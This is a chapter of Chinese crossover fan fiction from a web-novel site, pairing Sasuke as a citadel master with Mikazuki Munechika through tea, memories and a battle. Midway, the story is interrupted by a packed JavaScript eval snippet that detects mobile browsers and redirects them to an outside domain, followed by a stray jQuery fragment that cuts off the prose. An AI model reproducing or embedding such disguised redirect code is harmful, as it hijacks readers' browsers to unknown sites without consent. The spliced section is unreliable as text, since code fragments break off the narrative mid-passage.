默认冷灰
24号文字
方正启体

13.名刀观月录

作者:不知道叫什么名字随便吧saddddddd本书字数:K更新时间:
    Summary:有形之物,终将消逝。


    时间跨度大……总而言之,爷爷也是本丸的元老成员~


    新雪初霁,薄薄一层白霜覆盖了本丸的飞檐与枯枝,在正午的阳光下折射出细碎的冷光。天守阁顶层,寒意顺着敞开的拉门缝隙悄然侵入。


    佐助独自坐在案前,堆积的文书在宽大的桌面上投下阴影,他执笔的手悬在纸面,墨汁凝聚在毫尖,却迟迟没有落下。窗外,枯枝的影子如同鬼爪,在雪地上缓慢爬行。


    就在这时,一阵不合时宜的、悠然的脚步声由远及近,踩在木质回廊上,发出轻微的吱呀声。紧接着,是拉门被轻轻滑开的声响,带着一股料峭寒气,还有另一种更难以言喻的、仿佛沉淀了千年的幽微气息。


    “哈哈哈,主上,打扰了。今日雪光甚好,老爷爷我忽然想起前些日子得了些京都上好的抹茶,若不嫌弃,可否共饮一杯,赏赏这初雪后的澄澈天光?”三日月宗近的声音带着惯常的温和笑意,如同古寺檐角的风铃,在寂静中荡开一圈圈涟漪。


    他走进来,宽大的深蓝色狩衣袖摆拂过门槛,衣料上细密的金线在室内略显昏暗的光线下流转着内敛的光泽。他手里稳稳托着一个黑漆木盘,上面放着一套素雅的白瓷茶具,袅袅热气正从茶壶嘴中逸散开来。那张被称作“天下五剑最美”的脸上,新月形的眼眸弯着,含着一种似乎能看透一切、却又漫不经心的笑意。


    佐助搁下笔,墨滴终究还是落在宣纸上,迅速晕开一小团深黑。他没有回头,目光依旧落在窗外某处虚空,声音平淡无波,听不出情绪:“随你。” 他没有拒绝,也没有欢迎,只是陈述一个事实——这位古老刀剑付丧神我行我素的闯入,已成为这审神者居所里一个既定的、需要容忍的背景。


    三日月仿佛没察觉这份冷淡,自顾自在佐助斜对面的位置跪坐下来,动作行云流水,带着平安时代遗留下来的贵族风仪。他慢条斯理地开始点茶,竹筅在茶碗中划出规律的声响,翠绿的茶粉渐渐被搅打出细腻的泡沫。茶香混合着雪后清冽的空气,在室内弥漫开来。


    “主上请看,”三日月将一盏碧色茶汤轻轻推到佐助面前,自己则端起另一盏,目光却透过敞开的拉门,投向庭院里积雪的枯枝和澄澈如洗的碧空,“这雪后的天空,干净得像是被最锋利的刀锋刮过一遍。有形之物,譬如这雪,譬如这枝头的枯叶,终将消逝,化为尘土。可这光,这风,却总能周而复始,亘古常在。您说,是也不是?”他抿了一口茶,新月般的眼眸转向佐助,笑意依旧,但那深蓝眼底却仿佛沉静的深潭,映不出任何情绪,只等着对方投下的石子。


    佐助的指尖在温热的茶杯壁上轻轻摩挲了一下,异色的双瞳依旧沉静地凝望着窗外。庭院里,枯枝的影子在雪地上缓缓移动,拉长变形,如同某种无声的挣扎。他沉默着,那寂静几乎要凝成实质。三日月似乎也毫不意外,只是安然地啜饮着茶,仿佛方才那番话不过是闲谈风月。


    时间在寂静中流淌。佐助端起茶杯,微苦的抹茶香气钻入鼻腔,他浅啜一口,温热的液体滑入喉中,带来一丝微不足道的暖意,却丝毫无法触及那深埋于骨髓的、早已凝结成冰的寒冷。他放下杯盏,瓷器与黑漆木盘轻轻相碰,发出一声清脆的“叮”。


    “雪会消融。”佐助终于开口,声音低沉平稳,没有任何波澜,“光会隐没。万物皆在流转。”他顿了顿,异色的眼眸深处,那片沉沉的黑暗似乎更深邃了些,“唯有刻下的痕迹,无法抹去。”


    三日月端着茶杯的手几不可察地顿了一下,新月眼眸中的笑意似乎更深邃了一些,如同水底暗流。“诚然如此。”他缓缓颔首,目光落在佐助搁在桌沿的手上,那只手骨节分明,蕴含着爆发性的力量,指腹和虎口处有着经年累月磨砺出的薄茧,“如同名刃上的铭文,无论经历多少次研磨,其神髓,其过往,早已融入刀身肌理,成为它独一无二存在的证明。这痕迹本身,便是一种……永恒。”


    他不再追问,也无需佐助更多的回应。一时之间,室内只剩下茶水的微沸声,雪光透过门窗,映照着相对而坐的两人。一个如沉默的刀鞘,包裹着内里淬火千次的锋锐;一个如流动的月光,看似轻柔,却能映照出万物最幽微的轮廓。


    那场突如其来的“小夜左文字”显现事件,像一颗投入死水的巨石,激起的狂澜瞬间席卷了整个本丸。压抑、混乱、狂暴的灵压如同实质的飓风,撕扯着空气,让空间都发出不堪重负的呻吟。复仇的火焰在那新显现的短刀付丧神身上疯狂燃烧,纯粹的恨意几乎凝成墨色,扭曲着周围的光线。


    佐助站在风暴的中心。


    他强行压抑着体内同样翻腾咆哮的查克拉,轮回眼与写轮眼同时开启,猩红与淡紫的光芒在混乱的灵压漩涡中剧烈闪烁。然而,那双永恒万花筒的深处,属于宇智波佐助自己的、被岁月和鲜血层层包裹却从未真正熄灭的恨意与悲恸,在那份纯粹复仇之火的灼烧下,如同坚冰被投入熔炉,骤然迸裂、沸腾!


    灭族之夜的血腥气息仿佛再次弥漫在鼻腔,族人的哀嚎、鼬那双沾染鲜血的手与脸上的泪……所有刻意沉埋的黑暗记忆被这同源的火焰彻底点燃,汹涌地冲击着他理智的堤坝。


    他下颌线绷紧如刀锋,垂在身侧的双手紧握成拳,指节因过度用力而泛出青白色,细微的颤抖却无法抑制地透过衣料传递出来。


    就在这片混乱与沉重的漩涡边缘,回廊的阴影深处,一道身影静静伫立。三日月宗近。他深蓝色的狩衣几乎融入昏暗,只有衣摆上流淌的金线在混乱灵压的激荡下,偶尔闪过一道微弱的流光。他脸上惯常的“哈哈哈”笑容消失了,新月形的眼眸在阴影中却异常清晰,如同两轮沉入深潭的冷月,穿透了混乱的灵压风暴,穿透了复仇火焰的扭曲光晕,精准地、毫无阻碍地落在了风暴中心那个竭力支撑的身影上。


    那双盛着新月的眼睛,清晰地映出了佐助此刻竭力压制却汹涌欲出的所有情绪——那刻骨的恨意,那深不见底的孤寂,那与眼前复仇之火同源的共鸣,以及那几乎要将自身撕裂的痛苦挣扎。


    没有同情,没有怜悯,也没有任何试图上前安抚的姿态。三日月只是那样沉静地站着,隔着混乱的距离,投去一道目光。


    那道目光,沉静得如同万古长存的寒潭,却又带着一种穿透灵魂的了然。它没有温度,没有重量,却比任何言语都更具穿透力,如同冰冷的月光,瞬间刺穿了佐助那层摇摇欲坠的、名为“审神者”和“掌控者”的坚硬外壳,直抵他内心那片燃烧的废墟。


    佐助猛地一震,像是被一道无声的惊雷劈中。混乱中,他几乎是凭借本能,猛地侧过头,迎上了那道来自阴影深处的目光。那双新月之眸中的沉静和了然,像一瓢冰冷的雪水,兜头浇下,瞬间将那几乎要将他吞噬的狂乱心绪压下去一丝。


    一种极其复杂的感受攫住了他——不是被冒犯的恼怒,也不是被窥破的狼狈,而是一种……被彻底看透,却又被无声容纳的奇异感觉。仿佛在这混乱喧嚣的天地间,终于存在一个坐标,一个不会因他的黑暗而惊骇、不会因他的痛苦而退缩的、绝对安静的锚点。他剧烈起伏的胸膛微微平复了一瞬,紧握的拳头松开一丝,指尖却仍在微微颤抖,泄露着内心的余震。


    阴影中,三日月对上佐助骤然投射过来的目光,新月般的眼眸深处,那点沉静的了然仿佛微微漾开一丝涟漪,极淡,极快,如同石子投入深潭后转瞬即逝的波纹。随即,他极其轻微地,点了点头。动作幅度小得几乎无法察觉,但那其中的意味,佐助却瞬间读懂了——一种确认,一种无需言语的“我知道”。然后,那道深蓝色的身影便悄无声息地向后退了一步,更深地融入廊下的阴影之中,仿佛从未出现过。


    风暴仍在肆虐,小夜的复仇之火依旧在咆哮,但佐助心中那片被引爆的黑暗深渊,却因那一道沉静目光的映照,奇异地不再那么灼热、那么令人窒息。他缓缓转回头,重新面对那复仇的烈焰,异色的双瞳中,翻涌的狂澜深处,多了一丝冰冷的、近乎残酷的清明。


    粉白色的花瓣如雪片般纷纷扬扬,在微风中打着旋儿飘落,织成一场盛大而温柔的祭奠。树下,聚集着本丸所有的刀剑付丧神,他们的目光或担忧,或好奇,或沉静,都聚焦在立于樱树主干前的审神者身上。


    佐助站在那里,一身深色的便服几乎要融入樱树虬结的深色树干投下的阴影。纷扬的落樱拂过他的肩头、发梢,有几片甚至沾上了他浓密的睫毛,他也未曾拂去。他开口了,声音并不高,甚至比平日更低沉几分,却清晰地穿透了花瓣飘落的簌簌声,回荡在每一个付丧神的耳畔。


    他没有修饰,没有煽情,只是用最平直、最冰冷的语调,将那尘封的、浸透血色的过往一字一句剖开:宇智波一族的盛名与骄傲,一夜之间被至亲之手彻底抹除的灭顶之灾,那浓稠得令人作呕的血腥味,族人倒毙时无法瞑目的眼睛……然后是漫长的、被仇恨驱动的流亡,在黑暗与背叛的泥沼中挣扎,追逐力量,最终亲手斩断那份扭曲的羁绊……直至终结谷那场毁天灭地的对决,以及在那之后,于永恒的孤寂中背负起整个世界的黑暗,独自徘徊在深渊边缘……


    当他提到“身后只有哥哥”时,声音里终于泄露出一种极其压抑的、几乎要将灵魂撕裂的疲惫和悲怆。那并非怀念,更像是一种被刻入骨髓的、无法摆脱的沉重印记。


    樱花树下,一片死寂。


    唯有落花无声地堆积在众人肩头、发上、脚边。付丧神们神情各异,震惊、悲悯、困惑……种种情绪在空气中无声交织。唯有角落廊下,三日月宗近安静地倚着朱红的廊柱。他脸上那仿佛亘古不变的“哈哈哈”笑容完全敛去了,新月形的眼眸深处,沉淀着一种超越时光的肃穆专注。他凝视着樱树下那个剖开自身、将淋漓伤口展示于月光下的身影,眼神深邃如同古井,映照着千年来兴衰更迭中无数灵魂的挣扎与陨落。


    当佐助的声音带着一种近乎自嘲的冰冷,坦承自己与因陀罗、与宇智波斑在灵魂轨迹上的惊人相似——“很像”——时,三日月垂在身侧、掩在宽大袖袍下的手指,极其轻微地动了一下。


    他新月般的眼眸微微抬起,目光似乎越过了纷扬的樱花,投向了虚空深处某个无法触及的点。


    那里,或许也曾有过相似的、执着而强大的灵魂,在爱恨的漩涡中燃烧殆尽。他的嘴角,几不可察地向上牵动了一下,形成一个极淡、极微妙的弧度。那不是笑意,更像是一种尘埃落定后的印证,一种对宿命轮回那庞大而冰冷轨迹的无声喟叹。


    他的声音很轻,如同梦呓,几乎被樱瓣落地的轻响掩盖,只有离他最近的歌仙兼定隐约捕捉到了几个字眼:


    “……强大的灵魂啊……其轨迹……总是惊人地相似……” 三日月的声音低沉而悠远,仿佛从时光长河的彼端传来,带着一种洞悉一切的疲惫与慈悲,“……却也……独一无二……”


    自樱花树下的坦白之后,本丸里某些无形的壁垒似乎悄然溶解了一角。三日月宗近出现在佐助身边的频率明显高了起来,方式却依旧带着他鲜明的“我行我素”烙印。


    天守阁顶层,佐助正凝神处理一份关于时间溯行军异常活跃区域的报告。夕阳的余晖透过窗棂,将室内染成一片暖融的金红。


    拉门毫无预警地被轻轻滑开,伴随着那熟悉的、温和中带着点慵懒的笑声:“哈哈哈,主上还在忙碌吗?老爷爷我新得了一罐据说是宇治川源头采摘的玉露,茶汤清冽,最是解乏,可愿赏脸品鉴一二?”


    佐助的笔尖在纸面上顿住,留下一点墨渍。他没有抬头,只是几不可闻地叹了口气,像是早已习惯了这种突如其来的“打扰”。“放下吧。”声音听不出情绪。


    三日月从善如流,将精致的茶具一一摆放在桌角空处,动作优雅得如同在表演茶道。清冽的茶香很快弥漫开来,冲淡了室内墨水和纸张的味道。他并未立刻离开,反而在佐助对面安然坐下,宽大的袖摆拂过榻榻米。他端起自己那杯茶,目光却飘向窗外沉落的夕阳,仿佛陷入了某种古老的回忆。


    “说起这宇治川,倒让老爷爷想起平安京时的一桩旧事。”三日月的声音带着一种讲故事特有的悠缓腔调,“那时有位公卿大人,出身显赫,文采风流,尤爱和歌。毕生所求,便是能作出一首足以流芳百世、冠绝古今的绝唱。为此,他踏遍名山大川,访遍隐士高人,耗尽心血,废寝忘食……”


    茶烟袅袅,模糊了他新月眼眸中的神色。


    “可您猜如何?”三日月抿了一口茶,语气带着一丝看透世事的淡然,“直到晚年病榻缠绵,他才蓦然发觉,那些他苦求不得的‘绝唱’,那些他以为能承载永恒荣光的东西,其实早已在他不顾一切追寻的过程中,被他亲手遗落在身后,如同被战火焚尽的诗篇残稿……他毕生追逐的‘最美’,或许恰恰是他最初不经意间错过的那抹晨光,那声鸟鸣,那份……触手可及的温暖吧。”


    他的话语在此处微微一顿,目光若有似无地扫过佐助紧抿的唇线,随即又飘向远方,仿佛真的只是在讲述一个遥远的、他人的故事。


    佐助执笔的手依旧悬停在纸面上,墨汁在毫尖凝聚成沉重的一滴,迟迟未能落下。窗外,夕阳最后的余晖在他轮廓分明的侧脸上勾勒出一道冷硬的弧光。


    三日月的话,像一颗投入深潭的石子,在他心湖深处激起了沉闷的回响。追逐力量、追逐真相、追逐复仇……那一路被他抛在身后的,何尝不是无法挽回的温暖?木叶的第七班……鸣人聒噪的叫嚷,小樱担忧的眼神,卡卡西懒散却可靠的身影……那些曾经唾手可得的羁绊,在灭族的血海和复仇的烈焰面前,显得那么微不足道,那么轻易地就被他舍弃了。但他不会后悔。


    一丝极淡、几乎无法察觉的波动掠过他异色双瞳的深处,快得如同错觉。他最终没有回应,只是手腕微沉,那滴凝聚的墨终于落下,在纸页上晕开一团深重的痕迹,像一块无法愈合的伤疤。


    另一次,是在庭院僻静的角落。佐助独自坐在廊下,目光落在池塘中几尾缓慢游动的锦鲤身上,水面倒映着天空流云,也倒映着他沉默的侧影。三日月悄无声息地在他身边坐下,手中并无茶点,只是静静地看着同一片水面。


    池水清澈,几片落叶打着旋儿沉浮。三日月新月般的眼眸注视着水底光滑的鹅卵石,忽然开口,声音平静无波,像是在探讨一个纯粹的哲思:


    “主上以为……”他缓缓问道,“是永不愈合、时刻作痛的伤痕更令人煎熬?还是彻底遗忘过往,包括那些曾经珍视过、欢喜过的一切,如同这水底的石头般无知无觉……更令人恐惧?”


    水面倒影里,佐助的瞳孔骤然收缩了一下,如同被无形的针刺中。遗忘?他从未想过遗忘。宇智波的骄傲,鼬的牺牲,那份刻入骨髓的恨意与爱意交织的痛苦……这些是他存在的基石,是他力量的源泉,也是他背负的十字架。遗忘?那意味着背叛!意味着他宇智波佐助这个人,连同他所有的痛苦和执着,都将彻底湮灭,变得毫无意义!一种近乎本能的抗拒和冰冷的怒意瞬间攥紧了他的心脏。


    “遗忘?”佐助的声音低沉地响起,带着一种金属摩擦般的冷硬质感,打破了周遭的寂静。他并未看三日月,目光依旧钉在水面自己的倒影上,那倒影中的双眼仿佛燃烧着幽暗的火焰。“那是懦夫的逃避。”他斩钉截铁,每一个字都像淬火的冰凌,“伤痕……是活着的证明。”


    三日月侧过头,看着佐助紧绷的侧脸线条,看着他眼中那不容置疑的决绝和深藏的痛楚。新月眼眸中的笑意缓缓漾开,带着一种了然的通透。“哈哈哈,”他轻轻笑了起来,声音如同风拂过檐角的铜铃,“原来如此。主上的答案,真是如同出鞘的名刀般……锋芒毕露啊。”


    他没有再追问,也没有试图反驳,只是重新将目光投向池塘,看着一片红叶悠悠沉入水底,仿佛刚才那个触及灵魂核心的问题,不过是一阵吹过池塘的微风。


    佐助紧绷的下颌线,在三日月的笑声中,几不可察地松动了一丝。


    日子就在这些看似不着边际的茶会、突如其来的“老爷爷的絮语”中悄然滑过。


    佐助发现自己竟渐渐习惯了这份“打扰”。有时,当繁杂的公务压得心头烦闷,或是某个不经意的场景触动了深埋的记忆,思绪如同乱麻般郁结难解时,他的脚步会无意识地偏离原本的路径,走向那条熟悉的、通往庭院僻静回廊的小径。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202418|181055||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    而更多时候,当他走到那里,那道深蓝色的、缀着新月的身影,已经安然地坐在廊下,面前摆着一壶刚沏好的茶,仿佛早已预知他的到来。


    三日月对此心知肚明,新月般的眼眸中总含着那抹洞悉一切的笑意,却从不点破。


    他只会适时地将一盏温热的茶推过来,说些诸如“今日的云像不像奔跑的兔子”或是“廊下的风铃声音似乎比昨日清脆了些”这样毫无意义的闲话。


    佐助通常沉默以对,偶尔从鼻子里发出一声几不可闻的轻哼。但那份无言的陪伴,如同无声流淌的月光,悄然浸润着他内心那片荒芜焦灼的土壤,带来一种奇异的、无需言语的安宁。他默许了这一切,甚至开始依赖这份沉默中的理解。


    朔风凛冽的冬夜。出阵队伍在时空夹缝遭遇异常强大的时间溯行军。形态扭曲,散发腐朽不祥气息,力量远超寻常。战斗胶着苦战。刀剑锐响、灵压轰鸣、伤者闷哼在冰冷异空间回荡。


    佐助身处战阵核心,轮回眼与写轮眼光芒在黑暗中交替闪烁,如不祥灯塔。草薙剑挥出撕裂空间的紫电雷光,精准致命。他旋身格开侧面巨大骨刃,剑势用老、新力未生瞬间——


    一股冰冷刺骨、浓烈腐朽死亡气息的灵压,如毒蛇自视觉死角猛然爆发!一道凝练如实质的惨绿能量光束,速度超越思维,直刺他毫无防备的后心!


    时间溯行军中形似巨大骸骨法师的存在,枯骨手指正指向他,空洞眼窝燃烧恶意绿焰!


    致命危机感如冰水浇遍全身!佐助瞳孔骤缩至针尖!旧伤!左肋下方,终结谷之战鸣人螺旋丸留下的旧伤,在极限闪避中被猛牵动!撕裂剧痛伴短暂麻痹窜过神经,动作出现致命迟滞!身体反应跟不上意识命令!他能清晰“看到”死亡光束在轮回眼视野急速逼近,感知毁灭性能量即将触及皮肤,听到远处惊骇呼喊——“主上!”


    死亡冰冷吐息贴上后背!


    就在此刻——


    佐助异色双瞳深处,那冰冷残酷的清明瞬间压过剧痛!永恒万花筒猩红骤亮,六芒星图案疯狂旋转!左眼眼角,一缕刺目鲜血蜿蜒流下!


    “天照!”


    无声无息,骸骨法师枯骨指端、燃烧绿焰的眼窝、以及那道已触及佐助衣角的惨绿光束源头——漆黑的不灭之炎凭空燃起!火焰无声吞噬,所触之物瞬间化为虚无!那毁灭光束如同被无形巨口咬断,能量溃散湮灭!骸骨法师甚至来不及发出任何声响,便在黑炎中无声消融,连灰烬都未留下!


    战场瞬间死寂!所有目光骇然聚焦于那抹立于虚空、衣角微焦的身影。宇智波佐助缓缓站直身体,左眼血痕未干,猩红万花筒冷冷扫过战场残余敌人,那目光中的冰冷杀意与绝对力量,让空气都为之冻结!他周身查克拉如实质紫焰升腾,轮回眼淡紫光芒流转,散发出令人窒息的压迫感。


    “碍事的东西,清理掉。”他声音不高,却如寒冰坠地,清晰传入每个付丧神耳中。草薙剑再次嗡鸣,紫电雷光比之前更盛,悍然扑向残余敌军!所过之处,摧枯拉朽!


    战斗在佐助爆发的绝对力量下迅速终结。残余时间溯行军在狂暴雷光与精准刀术下灰飞烟灭。


    战场归于死寂,唯余冰冷能量残余的波动。三日月宗近收刀入鞘,深蓝狩衣在激荡后气流中缓缓垂落。他并未立刻看向佐助,新月眼眸反而饶有兴致地投向那骸骨法师消失之处——那里空间微微扭曲,残留着天照黑炎那霸道无匹、焚尽万物的恐怖余韵,以及一丝……属于佐助轮回眼的、冰冷而宏大的时空波动。


    “哎呀呀……”三日月轻轻感叹出声,新月眼眸弯起,笑意重新回到脸上,却比平日多了一丝难以言喻的深邃,“真是……令人叹为观止的力量啊。” 他的语气并非惊叹力量本身,更像一位鉴赏家,在品评一件绝世艺术品那惊心动魄的锋芒与独一无二的灵魂烙印。他缓缓转身,目光终于落在佐助身上。


    佐助已平息查克拉,草薙剑归鞘。他抬手,指尖随意抹去左眼下的血痕,动作带着一种习以为常的漠然。他迎上三日月的目光,异色双瞳深处,翻涌的杀意与力量风暴已然平息,重新归于那片深不见底的沉静。


    但那份沉静之下,是经历生死一线、爆发绝对力量后的、一种更加内敛的锐利与……一丝难以察觉的疲惫。那疲惫并非身体,而是源自灵魂深处,动用永恒万花筒与轮回眼这等禁忌之力时,无可避免触及的黑暗记忆与沉重负担。


    三日月新月般的眼眸清晰地捕捉到了那一闪而逝的疲惫。他脸上的笑容未变,缓步走近,宽大袖摆拂过冰冷地面。“主上无恙便好。”他停在佐助身侧半步之遥,目光并未停留在佐助抹去血痕的手或衣角焦痕,而是落在他那双沉静却仿佛承载了太多重量的异色眼眸上,“方才那一瞬的光华……老爷爷有幸得见,实乃幸事。”


    他顿了顿,新月眼眸中流淌着一种纯粹的、不带任何评判的欣赏,如同在月光下凝视一柄绝世名刀上每一道淬火留下的独特纹路。


    “只是,这般锋锐无双之力,其锋芒所向,亦会映照自身吧?” 他的声音很轻,如同耳语,却精准地触及了佐助动用瞳力时那无可回避的灵魂反噬。


    佐助的目光微微凝滞。他看向三日月,对方眼中没有对力量的敬畏或恐惧,只有纯粹的洞悉与理解,仿佛在说:我看见了你的强大,也看见了这强大背后的代价。那份疲惫,无需隐藏。


    佐助没有回答。他只是极其轻微地侧了下头,目光掠过三日月,投向远处本丸的方向。那细微的动作,却像是一种无声的确认。随即,他迈步向前,声音低沉平稳,却带着一种尘埃落定后的力量感:


    “回本丸。”


    夜凉如水。万籁俱寂,唯风铃叮咚。佐助独坐天守阁顶层敞开的廊下,背靠冰冷廊柱。下弦月清冷,为庭院砂石草木镀上朦胧银辉。


    白日激战烙印脑海:濒死一瞬的冰冷,永恒万花筒燃烧的灼痛,天照吞噬一切的霸道,以及……三日月那洞悉一切、不含评判的欣赏目光。


    他微微抬手,修长手指在月光下张开。掌纹如命运沟壑。他凝视着。仿佛依旧残留灭族之夜的血腥粘稠,终结谷的灼热剧痛,背负世界黑暗行走深渊的冰冷孤寂……这些伤痕,深可见骨,烙印灵魂。从未愈合,永不会消失。永恒印记,是宇智波佐助存在的证明,力量的源泉,无法摆脱的沉重宿命。


    他不需要被治愈,也无人能治愈。


    身后细微衣物摩擦声。佐助未回头。清幽茶香混合古老沉静木质气息弥散夜风。一只素雅白瓷茶杯无声放在他身侧廊板,温热杯壁散着暖意。


    三日月宗近在他身旁不远处随意坐下,深蓝的和装在月光下流淌幽暗光泽。他未说话,只仰头望天幕下弦月,新月眼眸盛满同样清辉,宁静悠远。


    佐助目光从手掌移开,落在那杯热气氤氲的茶上,白气在清冷月光中盘旋消散。然后,视线越过茶杯,落在一旁的三日月身上。月光勾勒完美侧脸轮廓,那弯新月倒映眼底,似与天上月轮交辉。


    这一刻,佐助彻底明白。


    三日月,这千年古刀,所予非廉价安慰,非自以为是拯救,非试图磨平棱角伤痕。他所予,是一个空间。一个无需佩戴“审神者”或“复仇者”面具的空间。在此,他可只是宇智波佐助,伤痕累累、背负永恒黑暗与复杂过往的个体。他可沉默,可流露疲惫,可短暂卸下坚硬隔绝世界的盔甲。


    而三日月,如洒满庭院的月光,安静存在,温柔包裹,映照他身上每一道锋利棱角、每一处深刻伤痕,让它们于清辉中呈现奇异真实的美感。


    他不需要他改变。他只需要他存在。


    佐助伸出手,端起那杯温热的茶。指尖暖意驱散夜寒。他低头,看澄澈茶汤中晃动的月影,然后,缓慢地,饮了一口。微苦回甘的茶香弥漫,带着沉淀的安宁。


    廊下,两人一坐一靠,再无言语。清冷月光无声流淌,笼罩庭院,笼罩古老刀剑,也温柔包裹那带着永恒伤痕、却于黑暗中坚定前行的灵魂。月光如水,漫过木质地板,在佐助深色衣袍边缘镀上流动银边,悄然浸润他脚下通往未来的、漫长孤寂的道路。


    —————————————————————
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)